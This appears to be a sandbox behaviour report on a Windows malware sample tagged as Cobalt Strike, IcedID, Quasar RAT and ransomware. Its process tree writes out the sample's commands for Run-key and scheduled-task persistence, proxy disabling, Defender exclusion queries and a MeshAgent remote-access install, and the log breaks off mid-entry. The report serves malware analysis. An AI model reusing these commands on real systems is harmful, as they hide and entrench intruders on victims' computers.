PID 5032 wrote to memory of 4856	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	164
PID 4032 wrote to memory of 1500	4032	MeshAgent.exe	167
PID 5032 wrote to memory of 3156	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	170
PID 5032 wrote to memory of 2492	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	172
PID 5032 wrote to memory of 2472	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	174
PID 5032 wrote to memory of 1184	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	176
PID 5032 wrote to memory of 4876	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	178
PID 5032 wrote to memory of 2896	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	180
PID 5032 wrote to memory of 2732	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	182
PID 976 wrote to memory of 4640	976	MeshAgent.exe	185
PID 976 wrote to memory of 1396	976	MeshAgent.exe	187
PID 4048 wrote to memory of 2112	4048	MeshAgent.exe	190
PID 5032 wrote to memory of 2148	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	192
PID 5032 wrote to memory of 912	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	194
PID 5032 wrote to memory of 1344	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	196
PID 4048 wrote to memory of 3048	4048	MeshAgent.exe	198
PID 3140 wrote to memory of 4028	3140	cmd.exe	200
PID 3140 wrote to memory of 2140	3140	cmd.exe	201
PID 3140 wrote to memory of 4780	3140	cmd.exe	202
PID 3140 wrote to memory of 1040	3140	cmd.exe	203
PID 5032 wrote to memory of 5052	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	205
PID 5032 wrote to memory of 4236	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	207
PID 5032 wrote to memory of 4868	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	209
PID 1016 wrote to memory of 2152	1016	MeshAgent.exe	211
PID 1016 wrote to memory of 3536	1016	MeshAgent.exe	213
PID 5032 wrote to memory of 4988	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	215
PID 5032 wrote to memory of 3824	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	217

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
1⤵
- Windows security bypass
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Creates a file in the Startup directory
- Windows security modification
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5032
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
  2⤵
  PID:3352
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
  2⤵
  PID:4200
- C:\Windows\system32\reg.exe
  "reg" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
  2⤵
  PID:3312
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
  2⤵
  PID:4776
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
  2⤵
  PID:3796
- C:\Windows\system32\reg.exe
  "reg" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
  2⤵
  PID:1968
- C:\Windows\system32\reg.exe
  "reg" add HKLM\Software\Classes\htafile\DefaultIcon /ve /t REG_SZ /d "C:\Program Files\Internet Explorer\iexplore.exe,0" /f
  2⤵
  - Modifies registry class
  - Modifies registry key
  PID:3884
- C:\Windows\system32\schtasks.exe
  "schtasks" /Delete /TN MicrosoftWindowsRuntimeBroker /F
  2⤵
  PID:2980
- C:\Windows\system32\reg.exe
  "reg" delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBrokerSvc /f
  2⤵
  - Modifies registry key
  PID:1344
- C:\Windows\system32\reg.exe
  "reg" delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBrokerSvc /f
  2⤵
  - Modifies registry key
  PID:3292
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /XML C:\Users\Admin\AppData\Local\Temp\WinRtBrk_5032.tmp /TN 2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4596
- C:\Windows\system32\schtasks.exe
  "schtasks" /Change /TN 2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat /ENABLE
  2⤵
  PID:3768
- C:\Windows\system32\reg.exe
  "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v 2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat /t REG_SZ /d C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2756
- C:\Windows\system32\reg.exe
  "reg" add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat /t REG_SZ /d C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:624
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" process where "Name='cmd.exe' and CommandLine like '%w.cmd%'" get ProcessId
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" process where "Name='cmd.exe' and CommandLine like '%w.cmd%'" delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:224
- C:\Windows\system32\cmd.exe
  "cmd" /c C:\Users\Admin\AppData\Local\SvcCache\w.cmd
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq 2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
    3⤵
    PID:2800
- - C:\Windows\system32\find.exe
    find /i "2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
    3⤵
    PID:1708
- - C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
    3⤵
    - Executes dropped EXE
    PID:1780
- - C:\Windows\system32\timeout.exe
    timeout /t 60 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3556
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq 2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
    3⤵
    - Discovers running processes
    PID:820
- - C:\Windows\system32\find.exe
    find /i "2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
    3⤵
    PID:3768
- - C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
    3⤵
    - Executes dropped EXE
    PID:1588
- - C:\Windows\system32\timeout.exe
    timeout /t 60 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2528
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq 2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
    3⤵
    PID:4028
- - C:\Windows\system32\find.exe
    find /i "2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
    3⤵
    PID:2140
- - C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"
    3⤵
    - Executes dropped EXE
    PID:4780
- - C:\Windows\system32\timeout.exe
    timeout /t 60 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1040
- C:\Windows\system32\cmd.exe
  "cmd" /c ver
  2⤵
  - Executes a command shell one-liner
  PID:1184
- C:\Windows\system32\cmd.exe
  "cmd" /c ipconfig
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\system32\ipconfig.exe
    ipconfig
    3⤵
    - Gathers network information
    PID:3252
- C:\Windows\system32\sc.exe
  "sc" query "Mesh Agent"
  2⤵
  - Launches sc.exe
  PID:5052
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
  2⤵
  PID:3128
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
  2⤵
  PID:2260
- C:\Windows\system32\reg.exe
  "reg" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
  2⤵
  PID:3600
- C:\Users\Admin\AppData\Local\Temp\ma_4.exe
  "C:\Users\Admin\AppData\Local\Temp\ma_4.exe" -fulluninstall
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  PID:3780
- C:\Users\Admin\AppData\Local\Temp\ma_4.exe
  "C:\Users\Admin\AppData\Local\Temp\ma_4.exe" -fullinstall
  2⤵
  - Sets service image path in registry
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  PID:4784
- C:\Windows\system32\sc.exe
  "sc" query "Mesh Agent"
  2⤵
  - Launches sc.exe
  PID:2252
- C:\Windows\system32\tasklist.exe
  "tasklist" /FI "IMAGENAME eq MeshAgent.exe" /FO CSV /NH
  2⤵
  - Discovers running processes
  PID:1344
- C:\Windows\system32\netstat.exe
  "netstat" -ano
  2⤵
  - System Network Connections Discovery
  - Gathers network information
  PID:4856
- C:\Windows\system32\sc.exe
  "sc" query "Mesh Agent"
  2⤵
  - Launches sc.exe
  PID:3156
- C:\Windows\system32\sc.exe
  "sc" query "Mesh Agent"
  2⤵
  - Launches sc.exe
  PID:2492
- C:\Windows\system32\sc.exe
  "sc" query "Mesh Agent"
  2⤵
  - Launches sc.exe
  PID:2472
- C:\Windows\system32\sc.exe
  "sc" qc "Mesh Agent"
  2⤵
  - Launches sc.exe
  PID:1184
- C:\Windows\system32\sc.exe
  "sc" query "Mesh Agent"
  2⤵
  - Launches sc.exe
  PID:4876
- C:\Windows\system32\sc.exe
  "sc" stop "Mesh Agent"
  2⤵
  - Launches sc.exe
  PID:2896
- C:\Windows\system32\sc.exe
  "sc" start "Mesh Agent"
  2⤵
  - Launches sc.exe
  PID:2732
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
  2⤵
  PID:2148
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
  2⤵
  PID:912
- C:\Windows\system32\reg.exe
  "reg" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
  2⤵
  PID:1344
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
  2⤵
  PID:5052
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
  2⤵
  PID:4236
- C:\Windows\system32\reg.exe
  "reg" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
  2⤵
  PID:4868
- C:\Windows\System32\schtasks.exe
  "schtasks" /Delete /TN MicrosoftWindowsRuntimeBroker /F
  2⤵
  PID:4988
- C:\Windows\System32\reg.exe
  "reg" delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBrokerSvc /f
  2⤵
  - Modifies registry key
  PID:3824
- C:\Windows\System32\reg.exe
  "reg" delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBrokerSvc /f
  2⤵
  - Modifies registry key
  PID:860
- C:\Windows\System32\cmd.exe
  "cmd" /c reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
  2⤵
  - Executes a command shell one-liner
  PID:1988
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
    3⤵
    PID:1576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" process where "Name='cmd.exe' and CommandLine like '%w.cmd%'" get ProcessId
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:540
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" process where "Name='cmd.exe' and CommandLine like '%w.cmd%'" delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:1396
- C:\Windows\System32\cmd.exe
  "cmd" /c C:\Users\Admin\AppData\Local\SvcCache\w.cmd
  2⤵
  - Executes a command shell one-liner
  PID:2080
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:864
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4384
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:2272
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4160
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3188
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3292
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4484
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:2160
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:1804
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3704
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:5052
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:464
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:1540
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:2896
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3288
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:5020
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:1116
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:1268
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:436
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3196
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:4688
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:1272
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4468
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:924
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:2548
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:2100
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4352
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:372
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:1380
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4380
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3524
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:912
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3292
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4880
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4208
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3036
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:432
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:2392
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:4868
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:2280
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4260
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3052
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:5104
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:624
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:2400
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:452
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:1276
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:684
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4156
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:2544
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:4796
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:760
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4860
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3532
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:1344
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:1976
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4168
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4448
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4620
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3708
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4520
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4980
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:4460
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:432
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4236
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:4876
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3092
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:224
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3312
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:2280
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:5020
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4560
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:1452
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3340
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:4240
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:2052
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3864
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:2184
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3516
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
